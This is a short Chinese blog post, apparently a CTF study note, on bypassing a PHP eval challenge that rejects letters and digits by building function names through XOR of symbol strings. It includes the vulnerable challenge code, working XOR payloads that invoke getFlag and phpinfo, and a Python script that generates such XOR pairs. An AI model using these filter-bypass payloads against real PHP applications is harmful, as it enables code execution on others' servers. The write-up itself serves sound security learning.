醉梦半醒的博客

异或的研究

字数统计: 371阅读时长: 1 min
2018/10/26 Share

题目来自梅子酒师傅:

include "flag.php"; 
if(isset($_GET['code'])){ 
    $code = $_GET['code']; 
    if(strlen($code)>40){ 
        die("Long."); 
    } 
    if(preg_match("/[A-Za-z0-9]+/",$code)){ 
        die("NO."); 
    } 
    @eval($code); 
}else{ 
    highlight_file(__FILE__); 
} 
//$hint =  "php function getFlag() to get flag"; 

异或绕过的一个知识点:
wp在这里:
https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html#autoid-3-3-1

引发思考的是3段代码

$_=”\`{{{“^”?<>/”;                         $\_=\_GET 在这时候,$\_变成了\_GET,

${$_}[_](${$_}[\__]); $_GET_\
&_=getFlag

那么$_GET[_]的地方变成了getFlag

其实第二步后面的可以省略,真正有用的是()

变成了getFlag()

 

&的作用是引用传递

 

测试一下:

 

function getFlag()
{ echo "flagok"; } 
@eval($_GET['code']); 

我的payload为code=$_GET[o]();&o=getFlag
如果我不加上&,他并没有执行,传过去可能就是一个getFLag,执行的时候后面的()被忽略了

如何得出phpinfo():

?code=$\_=”\`{{{“^”?<>/”;${$\_}\[\_\]().”;”;&\_=phpinfo

异或分解脚本:

l=r"`-=[]\,./<>?:{}|++_)(*&^$#@!~)"
string=input("请输入要分解的字符串:")
y1=""
y2=""
def jisuan(l,s):
    for i in l:
        for j in l:
            if(chr(ord(i)^ord(j))==s):
                return(i,j)
for s in list(string):
    i,j=jisuan(l,s)
    y1+=i
    y2+=j
print("结果为:"+'"'+y1+'"'+"^"+'"'+y2+'"'+"="+string)

那么,”[[[`,=[“^”<>/&@\<“=getFlag
如果payload为?code=”[[[`,=[“^”<>/&@\<“.”()”
很遗憾的是不行,可能是因为异或的过程不能直接经过eval函数

()是一个动态执行的过程,卡在这里了

参考https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

CATALOG